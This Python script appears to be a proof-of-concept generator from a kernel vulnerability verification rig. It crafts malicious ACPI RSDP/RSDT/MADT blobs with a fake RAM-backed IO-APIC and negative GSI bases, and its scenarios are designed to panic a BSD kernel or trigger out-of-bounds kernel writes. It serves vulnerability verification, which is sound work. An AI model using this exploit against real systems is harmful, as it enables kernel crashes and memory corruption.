#!/usr/bin/env python3
"""
gen_madt.py -- craft a minimal RSDP->RSDT->MADT chain for the pass-2
verification of sys/platform/pc64/apic/ioapic.c (negative-GSI class).

Injection model (identical to the proven DF-5431 rig):
  - loader kenv  hint.acpi.0.rsdp=0x40000000  (acpi_sdt.c:71 -- hinted RSDP
    accepted with no signature/checksum validation)
  - QEMU  -device loader,file=<blob>,addr=0x40000000,force-raw=on

Blob layout (offsets from 0x40000000):
  +0x0000  RSDP rev0 -> RSDT at +0x100
  +0x0100  RSDT (1 entry) -> MADT at +0x200
  +0x0200  MADT: Address=0xFEE00000 (real LAPIC mmio), Flags=1,
           then scenario entries
  +0x1000  fake IO-APIC "register file" (plain RAM): the ioapic window
           protocol is select@+0x00 / data@+0x10, so on RAM the kernel's
           ID readback echoes and the VER read returns our preload dword
           at +0x10 => npin fully attacker-chosen.

Scenarios:
  control    2 CPUs + real IOAPIC base 0            -> must boot normally
  negpanic   + 2nd IOAPIC covering GSI -1 only      -> ioapic_gsi_setup(-1)
             aliases the ioc_intsrc[].int_gsi == -1 sentinel (ioapic.c:277/
             :358), forwarding INTR_TRIGGER_CONFORM(0) from the zeroed
             struct into ioapic_pin_prog() -> panic (ioapic.c:520 on
             production kernels; KKASSERT ioapic_abi.c:809 on INVARIANTS)
  negwrite   + 16 INTSRC overrides (kill all -1 sentinels) + 2nd IOAPIC
             covering GSI[-24,-1] -> for gsi=-1 the sentinel scan can't
             match, irq=gsi=-1 passes "irq < ISA_IRQ_CNT"
             (ioapic.c:371), reads ioc_intsrc[-1] OOB (ioapic.c:372 --
             lands on ioc_list.tqh_first high dword < 0) and forwards
             irq=-1 to ioapic_set_legacy_irqmap(): OOB writes to
             ioapic_irqmaps[0][-1] and ioapic_irqs[-1] (== ioc_intsrc[14/15]
             on the stock link layout) on production kernels.
"""
import struct
import sys

BASE  = 0x40000000
RSDP_OFF, RSDT_OFF, MADT_OFF, FAKE_IOAPIC_OFF = 0x0, 0x100, 0x200, 0x1000

def csum(b):
    return (-sum(b)) & 0xFF

def sdth(sig, length, rev, oem=b'DFBSD  '):
    h = bytearray(36)
    h[0:4]  = sig
    struct.pack_into('<I', h, 4, length)
    h[8]    = rev
    h[9]    = 0
    h[10:16] = b'DFBSD '
    h[17:21] = b'PASS'
    struct.pack_into('<I', h, 21, 1)
    h[25:29] = b'IACT'
    struct.pack_into('<I', h, 29, 1)
    return h

def lapic(pid, apic_id, enabled=True):
    return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0)

def ioapic(apic_id, addr, gsi_base):
    return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base & 0xFFFFFFFF)

def intsrc(bus, irq, gsi, flags=0):
    return struct.pack('<BBBBIH', 2, 10, bus, irq, gsi & 0xFFFFFFFF, flags)

def build(scenario):
    madt_entries = b''
    fake_ver = None   # dword preloaded at fake-ioapic +0x10 (IOWIN)

    if scenario == 'control':
        madt_entries  = lapic(0, 0) + lapic(1, 1)
        madt_entries += ioapic(0, 0xFEC00000, 0)
    elif scenario == 'negpanic':
        madt_entries  = lapic(0, 0) + lapic(1, 1)
        # real QEMU ioapic (npin 24 from real VER) + RAM ioapic covering
        # exactly GSI -1: VER preload maxredir=0 -> npin=1
        madt_entries += ioapic(0, 0xFEC00000, 0)
        madt_entries += ioapic(1, BASE + FAKE_IOAPIC_OFF, 0xFFFFFFFF)
        fake_ver = (0 << 16)                  # maxredir 0 -> npin 1
    elif scenario == 'negwrite':
        madt_entries  = lapic(0, 0) + lapic(1, 1)
        # kill every ioc_intsrc[k].int_gsi == -1 sentinel so the gsi==-1
        # scan at ioapic.c:354-363 cannot match (overriden -> 1000+k)
        for k in range(16):
            madt_entries += intsrc(0, k, 1000 + k)
        # real ioapic [0,23] + RAM ioapic [-24,-1]: VER maxredir=23 -> npin 24
        madt_entries += ioapic(0, 0xFEC00000, 0)
        madt_entries += ioapic(1, BASE + FAKE_IOAPIC_OFF, -24)
        fake_ver = (23 << 16)                 # maxredir 23 -> npin 24
    else:
        raise SystemExit('unknown scenario ' + scenario)

    madt_len = 44 + len(madt_entries)
    madt = sdth(b'APIC', madt_len, 3) + bytearray(8)
    struct.pack_into('<I', madt, 36, 0xFEE00000)   # Local Apic Address
    struct.pack_into('<I', madt, 40, 1)            # PCAT_COMPAT
    madt += madt_entries
    madt[9] = csum(madt)

    rsdt_len = 36 + 4
    rsdt = sdth(b'RSDT', rsdt_len, 1) + bytearray(4)
    struct.pack_into('<I', rsdt, 36, BASE + MADT_OFF)
    rsdt[9] = csum(rsdt)

    rsdp = bytearray(24)
    rsdp[0:8]  = b'RSD PTR '
    rsrp_rev = 0
    rsdp[8]    = rsrp_rev
    struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF)
    rsdp[9] = csum(rsdp)

    blob = bytearray(FAKE_IOAPIC_OFF + 0x100)
    blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp
    blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt
    blob[MADT_OFF:MADT_OFF + len(madt)] = madt
    if fake_ver is not None:
        struct.pack_into('<I', blob, FAKE_IOAPIC_OFF + 0x10, fake_ver)
    return bytes(blob)

if __name__ == '__main__':
    if len(sys.argv) != 3:
        raise SystemExit('usage: gen_madt.py <control|negpanic|negwrite> <out.bin>')
    blob = build(sys.argv[1])
    with open(sys.argv[2], 'wb') as f:
        f.write(blob)
    print('%s: %d bytes -> %s' % (sys.argv[1], len(blob), sys.argv[2]))
